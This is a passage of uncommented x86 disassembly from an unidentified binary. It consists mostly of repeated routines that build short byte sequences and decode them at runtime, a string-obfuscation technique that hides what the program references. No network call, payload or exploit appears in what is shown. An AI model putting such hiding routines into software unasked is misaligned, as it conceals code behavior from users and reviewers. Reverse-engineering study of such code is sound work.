mov byte [esp + 0x69], al
call fcn.004a1910
push 0x30
lea ecx, [esp + 0x68]
mov byte [esp + 0x6a], al
call fcn.004a1910
push 0x30
lea ecx, [esp + 0x68]
mov byte [esp + 0x6b], al
call fcn.004a1910
mov byte [esp + 0x68], al
xor esi, esi
mov byte [esp + 0x69], 0
push esi
lea ecx, [esp + 0x69]
call fcn.004a1930
lea ecx, [esp + 0x64]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x69]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 4
jb 0x4ca5f1
push 4
lea ecx, [esp + 0x69]
call fcn.004a1930
lea ecx, [esp + 0x65]
mov byte [eax], 0
call fcn.004a1920
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004a1bf0
lea ecx, [esp + 0x37c]
call fcn.004d65f0
add esp, 0x18
mov ecx, 0x5682b0
push eax
call fcn.004a19d0
lea ecx, [esp + 0x364]
call fcn.004a19c0
push 0x537710
lea ecx, [esp + 0x4dc]
call fcn.004a4250
lea ecx, [esp + 0x4d8]
call fcn.004a28f0
push 0x538190
lea ecx, [esp + 0x4f4]
call fcn.004a4250
lea ecx, [esp + 0x4f0]
call fcn.004a28f0
call fcn.00544040
call fcn.004e6fa0
push 0x4cdd80
lea ecx, [esp + 0x4ec]
call fcn.004a4250
lea ecx, [esp + 0x4e8]
call fcn.004a28f0
push 0x47
lea ecx, [esp + 0x150]
mov byte [esp + 0x150], 0x56
call fcn.004a1910
push 0x66
lea ecx, [esp + 0x150]
mov byte [esp + 0x151], al
call fcn.004a1910
push 0x4e
lea ecx, [esp + 0x150]
mov byte [esp + 0x152], al
call fcn.004a1910
push 0x47
lea ecx, [esp + 0x150]
mov byte [esp + 0x153], al
call fcn.004a1910
push 0x61
lea ecx, [esp + 0x150]
mov byte [esp + 0x154], al
call fcn.004a1910
push 0x56
lea ecx, [esp + 0x150]
mov byte [esp + 0x155], al
call fcn.004a1910
mov byte [esp + 0x152], al
xor esi, esi
mov byte [esp + 0x153], 0
nop dword [eax + eax]
push esi
lea ecx, [esp + 0x151]
call fcn.004a1930
lea ecx, [esp + 0x14c]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x151]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x4ca760
push 6
lea ecx, [esp + 0x151]
call fcn.004a1930
lea ecx, [esp + 0x14d]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x58c]
call fcn.004a1bf0
push 0x5a
lea ecx, [esp + 0xf0]
mov byte [esp + 0xf0], 0x4d
call fcn.004a1910
push 0x77
lea ecx, [esp + 0xf0]
mov byte [esp + 0xf1], al
call fcn.004a1910
push 0x43
lea ecx, [esp + 0xf0]
mov byte [esp + 0xf2], al
call fcn.004a1910
push 0x71
lea ecx, [esp + 0xf0]
mov byte [esp + 0xf3], al
call fcn.004a1910
push 0x4e
lea ecx, [esp + 0xf0]
mov byte [esp + 0xf4], al
call fcn.004a1910
mov byte [esp + 0xf1], al
xor esi, esi
mov byte [esp + 0xf2], 0
nop
push esi
lea ecx, [esp + 0xf1]
call fcn.004a1930
lea ecx, [esp + 0xec]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0xf1]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 5
jb 0x4ca840
push 5
lea ecx, [esp + 0xf1]
call fcn.004a1930
lea ecx, [esp + 0xed]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x58c]
call fcn.004a1a70
push 0x43
lea ecx, [esp + 0x158]
mov byte [esp + 0x158], 0x1c
call fcn.004a1910
push 0x48
lea ecx, [esp + 0x158]
mov byte [esp + 0x159], al
call fcn.004a1910
push 0x4c
lea ecx, [esp + 0x158]
mov byte [esp + 0x15a], al
call fcn.004a1910
push 0x34
lea ecx, [esp + 0x158]
mov byte [esp + 0x15b], al
call fcn.004a1910
push 0x49
lea ecx, [esp + 0x158]
mov byte [esp + 0x15c], al
call fcn.004a1910
push 0x4a
lea ecx, [esp + 0x158]
mov byte [esp + 0x15d], al
call fcn.004a1910
mov byte [esp + 0x15a], al
xor esi, esi
mov byte [esp + 0x15b], 0
nop dword [eax]
nop dword [eax + eax]
push esi
lea ecx, [esp + 0x159]
call fcn.004a1930
lea ecx, [esp + 0x154]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x159]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x4ca940
push 6
lea ecx, [esp + 0x159]
call fcn.004a1930
lea ecx, [esp + 0x155]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x58c]
call fcn.004a1a70
lea ecx, [esp + 0x588]
call fcn.004a1ba0
push 0x4cfe40
lea ecx, [esp + 0x524]
call fcn.004a4250
lea ecx, [esp + 0x520]
call fcn.004a28f0
push 0x4d01c0
lea ecx, [esp + 0x4d4]
call fcn.004a4250
lea ecx, [esp + 0x4d0]
call fcn.004a28f0
push 0x70
lea ecx, [esp + 0x70]
mov byte [esp + 0x70], 0x23
call fcn.004a1910
push 0x74
lea ecx, [esp + 0x70]
mov byte [esp + 0x71], al
call fcn.004a1910
push 0x31
lea ecx, [esp + 0x70]
mov byte [esp + 0x72], al
call fcn.004a1910
push 0x72
lea ecx, [esp + 0x70]
mov byte [esp + 0x73], al
call fcn.004a1910
mov byte [esp + 0x70], al
xor esi, esi
mov byte [esp + 0x71], 0
push esi
lea ecx, [esp + 0x71]
call fcn.004a1930
lea ecx, [esp + 0x6c]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x71]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 4
jb 0x4caa32
push 4
lea ecx, [esp + 0x71]
call fcn.004a1930
lea ecx, [esp + 0x6d]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x55c]
call fcn.004a1bf0
push 0x35
lea ecx, [esp + 0x78]
mov byte [esp + 0x78], 0x5d
call fcn.004a1910
push 0x51
lea ecx, [esp + 0x78]
mov byte [esp + 0x79], al
call fcn.004a1910
push 0x42
lea ecx, [esp + 0x78]
mov byte [esp + 0x7a], al
call fcn.004a1910
push 0x6a
lea ecx, [esp + 0x78]
mov byte [esp + 0x7b], al
call fcn.004a1910
mov byte [esp + 0x78], al
xor esi, esi
mov byte [esp + 0x79], 0
nop
push esi
lea ecx, [esp + 0x79]
call fcn.004a1930
lea ecx, [esp + 0x74]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x79]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 4
jb 0x4caad0
push 4
lea ecx, [esp + 0x79]
call fcn.004a1930
lea ecx, [esp + 0x75]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x55c]
call fcn.004a1a70
push 0x67
lea ecx, [esp + 0xf8]
mov byte [esp + 0xf8], 0xa
call fcn.004a1910
push 0x68
lea ecx, [esp + 0xf8]
mov byte [esp + 0xf9], al
call fcn.004a1910
push 0x30
lea ecx, [esp + 0xf8]
mov byte [esp + 0xfa], al
call fcn.004a1910
push 0x39
lea ecx, [esp + 0xf8]
mov byte [esp + 0xfb], al
call fcn.004a1910
push 0x4d
lea ecx, [esp + 0xf8]
mov byte [esp + 0xfc], al
call fcn.004a1910
mov byte [esp + 0xf9], al
xor esi, esi
mov byte [esp + 0xfa], 0
push esi
lea ecx, [esp + 0xf9]
call fcn.004a1930
lea ecx, [esp + 0xf4]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0xf9]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 5
jb 0x4caba0
push 5
lea ecx, [esp + 0xf9]
call fcn.004a1930
lea ecx, [esp + 0xf5]
mov byte [eax], 0
call fcn.004a1920
mov edx, eax
lea ecx, [esp + 0x558]
call fcn.004a20d0
test al, al
je 0x4cad16
push 0x74
lea ecx, [esp + 0x1c8]
mov byte [esp + 0x1c8], 0x65
call fcn.004a1910
push 0x67
lea ecx, [esp + 0x1c8]
mov byte [esp + 0x1c9], al
call fcn.004a1910
push 0x79
lea ecx, [esp + 0x1c8]
mov byte [esp + 0x1ca], al
call fcn.004a1910
push 0x6d
lea ecx, [esp + 0x1c8]
mov byte [esp + 0x1cb], al
call fcn.004a1910
push 0x31
lea ecx, [esp + 0x1c8]
mov byte [esp + 0x1cc], al
call fcn.004a1910
push 0x7a
lea ecx, [esp + 0x1c8]
mov byte [esp + 0x1cd], al
call fcn.004a1910
push 0x4f
lea ecx, [esp + 0x1c8]
mov byte [esp + 0x1ce], al
call fcn.004a1910
mov byte [esp + 0x1cb], al
xor esi, esi
mov byte [esp + 0x1cc], 0
push esi
lea ecx, [esp + 0x1c9]
call fcn.004a1930
lea ecx, [esp + 0x1c4]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x1c9]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 7
jb 0x4cacb2
push 7
lea ecx, [esp + 0x1c9]
call fcn.004a1930
lea ecx, [esp + 0x1c5]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x55c]
call fcn.004a1aa0
lea ecx, [esp + 0x558]
call fcn.004a1ba0
push 0x53e750
lea ecx, [esp + 0x4cc]
call fcn.004a4250
lea ecx, [esp + 0x4c8]
call fcn.004a28f0
push 0x53e2a0
lea ecx, [esp + 0x4c4]
call fcn.004a4250
lea ecx, [esp + 0x4c0]
call fcn.004a28f0
push 0x53e500
lea ecx, [esp + 0x4bc]
call fcn.004a4250
lea ecx, [esp + 0x4b8]
call fcn.004a28f0
push 0x54
lea ecx, [esp + 0x160]
mov byte [esp + 0x160], 0x5a
call fcn.004a1910
push 0x64
lea ecx, [esp + 0x160]
mov byte [esp + 0x161], al
call fcn.004a1910
push 0x4f
lea ecx, [esp + 0x160]
mov byte [esp + 0x162], al
call fcn.004a1910
push 0x45
lea ecx, [esp + 0x160]
mov byte [esp + 0x163], al
call fcn.004a1910
push 0x78
lea ecx, [esp + 0x160]
mov byte [esp + 0x164], al
call fcn.004a1910
push 0x6f
lea ecx, [esp + 0x160]
mov byte [esp + 0x165], al
call fcn.004a1910
mov byte [esp + 0x162], al
xor esi, esi
mov byte [esp + 0x163], 0
nop dword [eax]
push esi
lea ecx, [esp + 0x161]
call fcn.004a1930
lea ecx, [esp + 0x15c]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x161]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x4cae10
push 6
lea ecx, [esp + 0x161]
call fcn.004a1930
lea ecx, [esp + 0x15d]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x7c4]
call fcn.004a1bf0
push 0x42
lea ecx, [esp + 0x80]
mov byte [esp + 0x80], 0x7b
call fcn.004a1910
push 0x31
lea ecx, [esp + 0x80]
mov byte [esp + 0x81], al
call fcn.004a1910
push 0x69
lea ecx, [esp + 0x80]
mov byte [esp + 0x82], al
call fcn.004a1910
push 0x6e
lea ecx, [esp + 0x80]
mov byte [esp + 0x83], al
call fcn.004a1910
mov byte [esp + 0x80], al
xor esi, esi
mov byte [esp + 0x81], 0
nop word [eax + eax]
push esi
lea ecx, [esp + 0x81]
call fcn.004a1930
lea ecx, [esp + 0x7c]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x81]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 4
jb 0x4caee0
push 4
lea ecx, [esp + 0x81]
call fcn.004a1930
lea ecx, [esp + 0x7d]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x6d4]
call fcn.004a1bf0
push 0x66
lea ecx, [esp + 0x168]
mov byte [esp + 0x168], 0x46
call fcn.004a1910
push 0x63
lea ecx, [esp + 0x168]
mov byte [esp + 0x169], al
call fcn.004a1910
push 0x65
lea ecx, [esp + 0x168]
mov byte [esp + 0x16a], al
call fcn.004a1910
push 0x69
lea ecx, [esp + 0x168]
mov byte [esp + 0x16b], al
call fcn.004a1910
push 0x6a
lea ecx, [esp + 0x168]
mov byte [esp + 0x16c], al
call fcn.004a1910
push 0x55
lea ecx, [esp + 0x168]
mov byte [esp + 0x16d], al
call fcn.004a1910
mov byte [esp + 0x16a], al
xor esi, esi
mov byte [esp + 0x16b], 0
nop
push esi
lea ecx, [esp + 0x169]
call fcn.004a1930
lea ecx, [esp + 0x164]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x169]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x4cafd0
push 6
lea ecx, [esp + 0x169]
call fcn.004a1930
lea ecx, [esp + 0x165]
mov byte [eax], 0
call fcn.004a1920
mov edx, eax
lea ecx, [esp + 0x6d0]
call fcn.004a20d0
test al, al
je 0x4cb220
push 0x4a
lea ecx, [esp + 0x88]
mov byte [esp + 0x88], 0x6b
call fcn.004a1910
push 0x68
lea ecx, [esp + 0x88]
mov byte [esp + 0x89], al
call fcn.004a1910
push 0x57
lea ecx, [esp + 0x88]
mov byte [esp + 0x8a], al
call fcn.004a1910
push 0x6a
lea ecx, [esp + 0x88]
mov byte [esp + 0x8b], al
call fcn.004a1910
mov byte [esp + 0x88], al
xor esi, esi
mov byte [esp + 0x89], 0
push esi
lea ecx, [esp + 0x89]
call fcn.004a1930
lea ecx, [esp + 0x84]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x89]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 4
jb 0x4cb0a3
push 4
lea ecx, [esp + 0x89]
call fcn.004a1930
lea ecx, [esp + 0x85]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x6bc]
call fcn.004a1bf0
push 0x62
lea ecx, [esp + 0x1bc]
mov byte [esp + 0x1bc], 0xc
call fcn.004a1910
push 0x50
lea ecx, [esp + 0x1bc]
mov byte [esp + 0x1bd], al
call fcn.004a1910
push 0x34
lea ecx, [esp + 0x1bc]
mov byte [esp + 0x1be], al
call fcn.004a1910
push 0x55
lea ecx, [esp + 0x1bc]
mov byte [esp + 0x1bf], al
call fcn.004a1910
push 0x72
lea ecx, [esp + 0x1bc]
mov byte [esp + 0x1c0], al
call fcn.004a1910
push 0x58
lea ecx, [esp + 0x1bc]
mov byte [esp + 0x1c1], al
call fcn.004a1910
push 0x76
lea ecx, [esp + 0x1bc]
mov byte [esp + 0x1c2], al
call fcn.004a1910
mov byte [esp + 0x1bf], al
xor esi, esi
mov byte [esp + 0x1c0], 0
nop dword [eax]
push esi
lea ecx, [esp + 0x1bd]
call fcn.004a1930
lea ecx, [esp + 0x1b8]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x1bd]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 7
jb 0x4cb1b0
push 7
lea ecx, [esp + 0x1bd]
call fcn.004a1930
lea ecx, [esp + 0x1b9]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x6bc]
call fcn.004a1aa0
lea ecx, [esp + 0x6b8]
call fcn.004a1ba0
lea ecx, [esp + 0x6d0]
call fcn.004a1ba0
lea ecx, [esp + 0x7c0]
call fcn.004a1ba0
push 0x549950
lea ecx, [esp + 0x4b4]
call fcn.004a4250
lea ecx, [esp + 0x4b0]
call fcn.004a28f0
push 0x54cbf0
lea ecx, [esp + 0x4ac]
call fcn.004a4250
lea ecx, [esp + 0x4a8]
call fcn.004a28f0
push 0x543770
lea ecx, [esp + 0x4a4]
call fcn.004a4250
lea ecx, [esp + 0x4a0]
call fcn.004a28f0
push 0x540a80
lea ecx, [esp + 0x4e4]
call fcn.004a4250
lea ecx, [esp + 0x4e0]
call fcn.004a28f0
push 0x75
lea ecx, [esp + 0x100]
mov byte [esp + 0x100], 5
call fcn.004a1910
push 0x45
lea ecx, [esp + 0x100]
mov byte [esp + 0x101], al
call fcn.004a1910
push 0x75
lea ecx, [esp + 0x100]
mov byte [esp + 0x102], al
call fcn.004a1910
push 0x35
lea ecx, [esp + 0x100]
mov byte [esp + 0x103], al
call fcn.004a1910
push 0x62
lea ecx, [esp + 0x100]
mov byte [esp + 0x104], al
call fcn.004a1910
mov byte [esp + 0x101], al
xor esi, esi
mov byte [esp + 0x102], 0
nop word [eax + eax]
push esi
lea ecx, [esp + 0x101]
call fcn.004a1930
lea ecx, [esp + 0xfc]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x101]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 5
jb 0x4cb330
push 5
lea ecx, [esp + 0x101]
call fcn.004a1930
lea ecx, [esp + 0xfd]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x574]
call fcn.004a1bf0
push 0x77
lea ecx, [esp + 0x108]
mov byte [esp + 0x108], 0x5f
call fcn.004a1910
push 0x31
lea ecx, [esp + 0x108]
mov byte [esp + 0x109], al
call fcn.004a1910
push 0x4d
lea ecx, [esp + 0x108]
mov byte [esp + 0x10a], al
call fcn.004a1910
push 0x51
lea ecx, [esp + 0x108]
mov byte [esp + 0x10b], al
call fcn.004a1910
push 0x69
lea ecx, [esp + 0x108]
mov byte [esp + 0x10c], al
call fcn.004a1910
mov byte [esp + 0x109], al
xor esi, esi
mov byte [esp + 0x10a], 0
nop
push esi
lea ecx, [esp + 0x109]
call fcn.004a1930
lea ecx, [esp + 0x104]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x109]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 5
jb 0x4cb410
push 5
lea ecx, [esp + 0x109]
call fcn.004a1930
lea ecx, [esp + 0x105]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x574]
call fcn.004a1a70
push 0x71
lea ecx, [esp + 0x110]
mov byte [esp + 0x110], 0x41
call fcn.004a1910
push 0x71
lea ecx, [esp + 0x110]
mov byte [esp + 0x111], al
call fcn.004a1910
push 0x32
lea ecx, [esp + 0x110]
mov byte [esp + 0x112], al
call fcn.004a1910
push 0x33
lea ecx, [esp + 0x110]
mov byte [esp + 0x113], al
call fcn.004a1910
push 0x68
lea ecx, [esp + 0x110]
mov byte [esp + 0x114], al
call fcn.004a1910
mov byte [esp + 0x111], al
xor esi, esi
mov byte [esp + 0x112], 0
nop
push esi
lea ecx, [esp + 0x111]
call fcn.004a1930
lea ecx, [esp + 0x10c]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x111]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 5
jb 0x4cb4f0
push 5
lea ecx, [esp + 0x111]
call fcn.004a1930
lea ecx, [esp + 0x10d]
mov byte [eax], 0
call fcn.004a1920
mov edx, eax
lea ecx, [esp + 0x570]
call fcn.004a20d0
test al, al
je 0x4cb666
push 0x55
lea ecx, [esp + 0x1ec]
mov byte [esp + 0x1ec], 0x5c
call fcn.004a1910
push 0x63
lea ecx, [esp + 0x1ec]
mov byte [esp + 0x1ed], al
call fcn.004a1910
push 0x63
lea ecx, [esp + 0x1ec]
mov byte [esp + 0x1ee], al
call fcn.004a1910
push 0x43
lea ecx, [esp + 0x1ec]
mov byte [esp + 0x1ef], al
call fcn.004a1910
push 0x77
lea ecx, [esp + 0x1ec]
mov byte [esp + 0x1f0], al
call fcn.004a1910
push 0x65
lea ecx, [esp + 0x1ec]
mov byte [esp + 0x1f1], al
call fcn.004a1910
push 0x31
lea ecx, [esp + 0x1ec]
mov byte [esp + 0x1f2], al
call fcn.004a1910
mov byte [esp + 0x1ef], al
xor esi, esi
mov byte [esp + 0x1f0], 0
push esi
lea ecx, [esp + 0x1ed]
call fcn.004a1930
lea ecx, [esp + 0x1e8]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x1ed]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 7
jb 0x4cb602
push 7
lea ecx, [esp + 0x1ed]
call fcn.004a1930
lea ecx, [esp + 0x1e9]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x574]
call fcn.004a1aa0
lea ecx, [esp + 0x570]
call fcn.004a1ba0
push 0x541f90
lea ecx, [esp + 0x4fc]
call fcn.004a4250
lea ecx, [esp + 0x4f8]
call fcn.004a28f0
cmp byte [0x568a68], 0
je 0x4cb7f7
push 0xffffffffffffffcd
lea ecx, [esp + 0x210]
mov byte [esp + 0x210], 0x2a
call fcn.004a1910
push 0x21
lea ecx, [esp + 0x210]
mov byte [esp + 0x211], al
call fcn.004a1910
push 0xfffffffffffffff9
lea ecx, [esp + 0x210]
mov byte [esp + 0x212], al
call fcn.004a1910
push 0x25
lea ecx, [esp + 0x210]
mov byte [esp + 0x213], al
call fcn.004a1910
push 0x43
lea ecx, [esp + 0x210]
mov byte [esp + 0x214], al
call fcn.004a1910
push 0x21
lea ecx, [esp + 0x210]
mov byte [esp + 0x215], al
call fcn.004a1910
push 0xffffffffffffffc4
lea ecx, [esp + 0x210]
mov byte [esp + 0x216], al
call fcn.004a1910
push 0x25
lea ecx, [esp + 0x210]
mov byte [esp + 0x217], al
call fcn.004a1910
mov byte [esp + 0x214], al
xor esi, esi
mov byte [esp + 0x215], 0
nop word [eax + eax]
push esi
lea ecx, [esp + 0x211]
call fcn.004a1930
lea ecx, [esp + 0x20c]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x211]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 8
jb 0x4cb760
push 8
lea ecx, [esp + 0x211]
call fcn.004a1930
lea ecx, [esp + 0x20d]
mov byte [eax], 0
call fcn.004a1920
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004a1bf0
mov ecx, esi
call fcn.004d65f0
add esp, 0x18
lea ecx, [esp + 0x394]
call fcn.00537260
add esp, 0x18
mov ecx, 0x568350
push eax
call fcn.004a19d0
lea ecx, [esp + 0x37c]
call fcn.004a19c0
push 0x44
lea ecx, [esp + 0x24c]
mov byte [esp + 0x24c], 0x71
call fcn.004a1910
push 0x33
lea ecx, [esp + 0x24c]
mov byte [esp + 0x24d], al
call fcn.004a1910
push 0x44
lea ecx, [esp + 0x24c]
mov byte [esp + 0x24e], al
call fcn.004a1910
push 0x20
lea ecx, [esp + 0x24c]
mov byte [esp + 0x24f], al
call fcn.004a1910
push 0x57
lea ecx, [esp + 0x24c]
mov byte [esp + 0x250], al
call fcn.004a1910
push 0x69
lea ecx, [esp + 0x24c]
mov byte [esp + 0x251], al
call fcn.004a1910
push 0x6e
lea ecx, [esp + 0x24c]
mov byte [esp + 0x252], al
call fcn.004a1910
push 0x64
lea ecx, [esp + 0x24c]
mov byte [esp + 0x253], al
call fcn.004a1910
push 0x6f
lea ecx, [esp + 0x24c]
mov byte [esp + 0x254], al
call fcn.004a1910
push 0x77
lea ecx, [esp + 0x24c]
mov byte [esp + 0x255], al
call fcn.004a1910
mov byte [esp + 0x252], al
xor esi, esi
mov byte [esp + 0x253], 0
nop dword [eax + eax]
push esi
lea ecx, [esp + 0x24d]
call fcn.004a1930
lea ecx, [esp + 0x248]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x24d]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 0xa
jb 0x4cb8e0
push 0xa
lea ecx, [esp + 0x24d]
call fcn.004a1930
lea ecx, [esp + 0x249]
mov byte [eax], 0
call fcn.004a1920
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004a1bf0
lea ecx, [esp + 0x760]
call fcn.004d5770
add esp, 0x18
mov byte [esp + 0x16c], 8
lea ecx, [esp + 0x16c]
push 0x51
call fcn.004a1910
push 0x74
lea ecx, [esp + 0x170]
mov byte [esp + 0x171], al
call fcn.004a1910
push 0x73
lea ecx, [esp + 0x170]
mov byte [esp + 0x172], al
call fcn.004a1910
push 0x76
lea ecx, [esp + 0x170]
mov byte [esp + 0x173], al
call fcn.004a1910
push 0x68
lea ecx, [esp + 0x170]
mov byte [esp + 0x174], al
call fcn.004a1910
push 0x46
lea ecx, [esp + 0x170]
mov byte [esp + 0x175], al
call fcn.004a1910
mov byte [esp + 0x172], al
xor esi, esi
mov byte [esp + 0x173], 0
push esi
lea ecx, [esp + 0x171]
call fcn.004a1930
lea ecx, [esp + 0x16c]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x171]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x4cb9e1
push 6
lea ecx, [esp + 0x171]
call fcn.004a1930
lea ecx, [esp + 0x16d]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x704]
call fcn.004a1bf0
push 0x4b
lea ecx, [esp + 0x1b0]
mov byte [esp + 0x1b0], 0x33
call fcn.004a1910
push 0x6a
lea ecx, [esp + 0x1b0]
mov byte [esp + 0x1b1], al
call fcn.004a1910
push 0x57
lea ecx, [esp + 0x1b0]
mov byte [esp + 0x1b2], al
call fcn.004a1910
push 0x6e
lea ecx, [esp + 0x1b0]
mov byte [esp + 0x1b3], al
call fcn.004a1910
push 0x65
lea ecx, [esp + 0x1b0]
mov byte [esp + 0x1b4], al
call fcn.004a1910
push 0x33
lea ecx, [esp + 0x1b0]
mov byte [esp + 0x1b5], al
call fcn.004a1910
push 0x36
lea ecx, [esp + 0x1b0]
mov byte [esp + 0x1b6], al
call fcn.004a1910
mov byte [esp + 0x1b3], al
xor esi, esi
mov byte [esp + 0x1b4], 0
nop word [eax + eax]
push esi
lea ecx, [esp + 0x1b1]
call fcn.004a1930
lea ecx, [esp + 0x1ac]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x1b1]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 7
jb 0x4cbaf0
push 7
lea ecx, [esp + 0x1b1]
call fcn.004a1930
lea ecx, [esp + 0x1ad]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x6ec]
call fcn.004a1bf0
push 0x5a
lea ecx, [esp + 0x178]
mov byte [esp + 0x178], 0x6c
call fcn.004a1910
push 0x6d
lea ecx, [esp + 0x178]
mov byte [esp + 0x179], al
call fcn.004a1910
push 0x43
lea ecx, [esp + 0x178]
mov byte [esp + 0x17a], al
call fcn.004a1910
push 0x78
lea ecx, [esp + 0x178]
mov byte [esp + 0x17b], al
call fcn.004a1910
push 0x52
lea ecx, [esp + 0x178]
mov byte [esp + 0x17c], al
call fcn.004a1910
push 0x37
lea ecx, [esp + 0x178]
mov byte [esp + 0x17d], al
call fcn.004a1910
mov byte [esp + 0x17a], al
xor esi, esi
mov byte [esp + 0x17b], 0
nop dword [eax]
nop dword [eax + eax]
push esi
lea ecx, [esp + 0x179]
call fcn.004a1930
lea ecx, [esp + 0x174]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x179]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x4cbbf0
push 6
lea ecx, [esp + 0x179]
call fcn.004a1930
lea ecx, [esp + 0x175]
mov byte [eax], 0
call fcn.004a1920
push 1
mov esi, eax
lea ecx, [esp + 0x704]
push 0
lea eax, [esp + 0x3fc]
push eax
call fcn.004a1a10
mov edx, esi
mov ecx, eax
call fcn.004a20d0
lea ecx, [esp + 0x3f4]
mov byte [esp + 0x17], al
call fcn.004a1ba0
cmp byte [esp + 0x17], 0
je 0x4cbd94
push 0x76
lea ecx, [esp + 0x1a4]
mov byte [esp + 0x1a4], 0x1f
call fcn.004a1910
push 0x41
lea ecx, [esp + 0x1a4]
mov byte [esp + 0x1a5], al
call fcn.004a1910
push 0x64
lea ecx, [esp + 0x1a4]
mov byte [esp + 0x1a6], al
call fcn.004a1910
push 0x65
lea ecx, [esp + 0x1a4]
mov byte [esp + 0x1a7], al
call fcn.004a1910
push 0x59
